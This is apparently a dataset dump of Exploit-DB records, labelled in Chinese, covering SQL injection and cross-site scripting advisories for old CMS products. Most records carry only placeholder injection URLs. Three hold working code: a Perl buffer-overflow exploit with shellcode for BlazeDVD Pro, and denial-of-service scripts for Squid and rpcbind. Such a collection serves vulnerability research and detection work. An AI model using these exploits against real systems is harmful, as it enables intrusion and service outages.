QLWD/code_shield huggingface dataset:
标题: Quick Square Development Honeycomb Archive 3.0 - 'CategoryResults.cfm' Multiple SQL Injections EDB-ID: 26920 CVE: 2005-4419 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15995/info

HoneyComb Archive is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=107&series=[SQL]
http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=[SQL]
http://www.example.com/CategoryResults.cfm?div=7&cat=[SQL]
http://www.example.com/CategoryResults.cfm?div=[SQL] URL: https://www.exploit-db.com/exploits/26920
标题: Baseline CMS 1.95 - Multiple Input Validation Vulnerabilities EDB-ID: 26903 CVE: 2005-4378 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15961/info

Baseline CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, steal cookie-based authentication credentials, and launch other attacks. 

http://www.example.com/Page.asp?PageID=[XSS]
http://www.example.com/Page.asp?PageID=1&SiteNodeID=[XSS]
http://www.example.com/Page.asp?PageID=1&SiteNodeID=[SQL] URL: https://www.exploit-db.com/exploits/26903
标题: Bitweaver 1.1.1 - 'my.php?sort_mode' Cross-Site Scripting EDB-ID: 26908 CVE: 2005-4380 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15962/info
    
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
    
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/users/my.php?sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/26908
标题: Komodo CMS 2.1 - Multiple Input Validation Vulnerabilities EDB-ID: 26911 CVE: 2005-4363 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15966/info

Komodo CMS is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

These issues affect Komodo CMS version 2.1; other versions may also be vulnerable. 

http://www.example.com/page.php?page=[SQL] URL: https://www.exploit-db.com/exploits/26911
标题: Miraserver 1.0 RC4 - 'article.php?cat' SQL Injection EDB-ID: 26902 CVE: 2005-4408 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15960/info
  
Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/article.php?cat=[SQL] URL: https://www.exploit-db.com/exploits/26902
标题: Miraserver 1.0 RC4 - 'index.php?page' SQL Injection EDB-ID: 26900 CVE: 2005-4408 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15960/info

Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=[SQL] URL: https://www.exploit-db.com/exploits/26900
标题: Bitweaver 1.1.1 - 'view_post.php?post_id' Cross-Site Scripting EDB-ID: 26905 CVE: 2005-4380 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15962/info
 
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
 
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/blogs/view_post.php?post_id=[SQL] URL: https://www.exploit-db.com/exploits/26905
标题: Marwel 2.7 - 'index.php' SQL Injection EDB-ID: 26899 CVE: 2005-4403 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15959/info

Marwel is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.7 and prior are vulnerable; other versions may also be affected.

http://www.example.com/index.php?show=[SQL] URL: https://www.exploit-db.com/exploits/26899
标题: Miraserver 1.0 RC4 - 'newsitem.php?id' SQL Injection EDB-ID: 26901 CVE: 2005-4408 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15960/info
 
Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/newsitem.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26901
标题: Bitweaver 1.1.1 - 'view.php?blog_id' Cross-Site Scripting EDB-ID: 26906 CVE: 2005-4380 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15962/info
  
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
  
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/blogs/view.php?blog_id=[SQL] URL: https://www.exploit-db.com/exploits/26906
标题: Bitweaver 1.1.1 Beta - 'list_galleries.php?sort_mode' Cross-Site Scripting EDB-ID: 26904 CVE: 2005-4380 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15962/info

bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/fisheye/list_galleries.php?sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/26904
标题: Bitweaver 1.1.1 - 'message_box.php?sort_mode' Cross-Site Scripting EDB-ID: 26907 CVE: 2005-4380 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15962/info
   
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
   
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/messages/message_box.php?sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/26907
标题: Direct News 4.9 - 'index.php' SQL Injection EDB-ID: 26897 CVE: 2005-4527 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15957/info

Direct News is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 4.9 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/?setLang=[SQL] URL: https://www.exploit-db.com/exploits/26897
标题: BlazeDVD Pro Player 6.1 - Direct RET Local Stack Buffer Overflow EDB-ID: 26889 CVE: 2006-6199 类型: LOCAL 平台: WINDOWS 发布日期: 2013-07-16 漏洞利用脚本: #!/usr/bin/perl

# BlazeDVD Pro player 6.1  Local stack based buffer overflow
# Author: PuN1sh3r
# Email: luiguibiker@gmail.com
# Date: Mon Jul 15 03:01:37 EDT 2013
# Vendor link: http://www.blazevideo.com/download.htmm
# Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro
# App Version: 6.1
# Tested on: Windows 2003 server sp1(EN)
# special thanks to corelanc0d3r for his amazing tutorials


$file = "blazeExpl.plf";
$junk = "\x41" x 260;
$eip = "\x33\xFE\xE4\x77"; #jmp ESP on kernel32.dll

#msf win/exec calc.exe [*] x86/alpha_mixed 
$shellcode = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70" .
"\x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44" .
"\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x32\x36\x6c\x4e\x6b" .
"\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47" .
"\x51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c" .
"\x67\x4c\x70\x61\x53\x4c\x66\x62\x36\x4c\x57\x50\x5a\x61" .
"\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\x72" .
"\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c" .
"\x46\x61\x4a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50" .
"\x54\x34\x62\x6a\x67\x71\x4e\x30\x30\x50\x6c\x4b\x52\x68" .
"\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5a\x43" .
"\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46" .
"\x36\x51\x39\x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f" .
"\x64\x4d\x37\x71\x5a\x67\x46\x58\x79\x70\x43\x45\x4b\x44" .
"\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x46\x44\x50\x75" .
"\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43" .
"\x65\x36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c" .
"\x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x56\x61\x7a\x70" .
"\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53\x6b\x43\x51" .
"\x61\x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f" .
"\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a" .
"\x76\x61\x6c\x4d\x6e\x65\x4f\x49\x37\x70\x67\x70\x63\x30" .
"\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f" .
"\x38\x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38" .
"\x6f\x56\x4d\x45\x6d\x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c" .
"\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x6b\x6b\x50\x64\x35" .
"\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a" .
"\x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c" .
"\x30\x63\x44\x6e\x70\x65\x32\x58\x32\x45\x65\x50\x41\x41";
$junk .= $eip . "\x90" x 50 . $shellcode ;
###############################################################
open(FILE,">$file");
print FILE $junk;
close(FILE);
############################################################### URL: https://www.exploit-db.com/exploits/26889
标题: ContentServ 3.0/3.1/4.0 - 'index.php' SQL Injection EDB-ID: 26896 CVE: 2005-4390 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15956/info

ContentServ is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 3.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?StoryID=[SQL] URL: https://www.exploit-db.com/exploits/26896
标题: Squid 3.3.5 - Denial of Service (PoC) EDB-ID: 26886 CVE: 2013-4123 类型: DOS 平台: LINUX 发布日期: 2013-07-16 漏洞利用脚本: #Squid Crash PoC
#Copyright (C) Kingcope 2013
#tested against squid-3.3.5
#this seems to be the patch for the vulnerability:
#http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch
#The squid-cache service will respawn, looks like a kind of assert exception:
#2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128
#2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting...
#2013/07/15 20:48:36 kid1|   Finished.  Wrote 0 entries.
#2013/07/15 20:48:36 kid1|   Took 0.00 seconds (  0.00 entries/sec).
#FATAL: Bungled (null) line 9: snmp_access deny all
#Squid Cache (Version 3.2.11): Terminated abnormally.
#CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys
#Maximum Resident Size: 33312 KB
#Page faults with physical i/o: 0
#Memory usage for squid via mallinfo():
#        total space in arena:    4100 KB
#        Ordinary blocks:         4046 KB      7 blks
#        Small blocks:               0 KB      0 blks
#        Holding blocks:           564 KB      2 blks
#        Free Small blocks:          0 KB
#        Free Ordinary blocks:      53 KB
#        Total in use:            4610 KB 112%
#        Total free:                53 KB 1%
#2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for
i686-pc-linux-gnu...
#2013/07/15 20:48:39 kid1| Process ID 2990

use IO::Socket;

my $sock = IO::Socket::INET->new(PeerAddr => '192.168.27.146',
                              PeerPort => '3128',
                              Proto    => 'tcp');
$a = "yc" x 2000;
print $sock "HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n";
while(<$sock>) {
print;
} URL: https://www.exploit-db.com/exploits/26886
标题: Lighthouse CMS 1.1 - Search Cross-Site Scripting EDB-ID: 26885 CVE: 2005-4780 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15952/info

Lighthouse is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.1; other versions may also be vulnerable.

NOTE: The vendor disputes this issue, stating that Lighthouse is an application server and is not susceptible to client-side cross-site scripting attacks.

http://www.example.com/?search=[XSS] URL: https://www.exploit-db.com/exploits/26885
标题: Libertas Enterprise CMS 3.0 - 'index.php' Cross-Site Scripting EDB-ID: 26883 CVE: 2005-4399 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15950/info

Enterprise CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects Enterprise CMS version 3.0; earlier versions may also be vulnerable. 

http://www.example.com/search/index.php?advanced=0&associated_list=&page=1&search=0&page_search=[XSS] URL: https://www.exploit-db.com/exploits/26883
标题: Magnolia Search Module 2.1 - Cross-Site Scripting EDB-ID: 26895 CVE: 2005-4361 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15954/info

Magnolia Content Management Suite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects version 2.1; other versions may also be vulnerable.

http://www.example.com/search.html?query=[XSS] URL: https://www.exploit-db.com/exploits/26895
标题: Liferay Portal Enterprise 3.6.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26884 CVE: 2005-4400 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15951/info

Liferay Portal Enterprise is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect version 3.6.1; earlier versions may also be vulnerable. 

http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=view&p_p_col_order=null&p_p_col_pos=2&p_p_col_count=3&_77_struts_action=[XSS]
http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=[XSS]
http://www.example/com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=[XSS] URL: https://www.exploit-db.com/exploits/26884
标题: rpcbind - CALLIT procedure UDP Crash (PoC) EDB-ID: 26887 CVE: 2013-1950 类型: DOS 平台: LINUX 发布日期: 2013-07-16 漏洞利用脚本: #!/usr/bin/ruby
#
# rpcbind_udp_crash_poc.rb
# 07/15/2013
# Sean Verity <veritysr1980 [at] gmail.com>
# CVE 2013-1950
#
# rpcbind (CALLIT Procedure) UDP Crash PoC
# Affected Software Package: rpcbind-0.2.0-19
#
# Tested on: 
# Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP) 
# CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP)
#
# rpcbind can be crashed by setting the argument length 
# value > 8944 in an RPC CALLIT procedure request over UDP.
#

require 'socket'

def usage
 abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end

if ARGV.length == 1
 pkt = [rand(2**32)].pack('N') # XID
 pkt << [0].pack('N')   # Message Type: CALL (0)
 pkt << [2].pack('N')   # RPC Version: 2
 pkt << [100000].pack('N')  # Program: Portmap (100000)
 pkt << [2].pack('N')   # Program Version: 2
 pkt << [5].pack('N')   # Procedure: CALLIT (5)
 pkt << [0].pack('N')   # Credentials Flavor: AUTH_NULL (0)
 pkt << [0].pack('N')   # Length: 0
 pkt << [0].pack('N')   # Credentials Verifier: AUTH_NULL (0)
 pkt << [0].pack('N')   # Length: 0
 pkt << [0].pack('N')   # Program: Unknown (0) 
 pkt << [1].pack('N')   # Version: 1
 pkt << [1].pack('N')   # Procedure: 1
 pkt << [8945].pack('N')   # Argument Length
 pkt << "crash"     # Arguments

 s = UDPSocket.new
 s.send(pkt, 0, ARGV[0], 111)
else
 usage
end URL: https://www.exploit-db.com/exploits/26887
标题: FLIP 0.9.0.1029 - 'text.php?name' Cross-Site Scripting EDB-ID: 26880 CVE: 2005-4365 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15947/info

FLIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/text.php?name=[XSS] URL: https://www.exploit-db.com/exploits/26880
标题: Cofax 2.0 - search.htm Cross-Site Scripting EDB-ID: 26879 CVE: 2005-4385 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15940/info

Cofax is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.htm?searchstring2=&searchstring=[XSS] URL: https://www.exploit-db.com/exploits/26879
标题: allinta CMS 2.3.2 - 'faq.asp?s' Cross-Site Scripting EDB-ID: 26875 CVE: 2005-4374 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15935/info

Allinta CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Allinta versions 2.3.2 and earlier are reportedly affected by this vulnerability. 

http://example.com/faq.asp?s=[XSS]&roottopicID=&sa=1&submit=Search URL: https://www.exploit-db.com/exploits/26875
标题: Hot Banana Web Content Management Suite 5.3 - Cross-Site Scripting EDB-ID: 26882 CVE: 2005-4364 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15948/info

Web Content Management Suite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect version 5.3; earlier versions may also be vulnerable.

http://www.example.com/search/index.cfm?keywords=[XSS]&x=25&y=9 URL: https://www.exploit-db.com/exploits/26882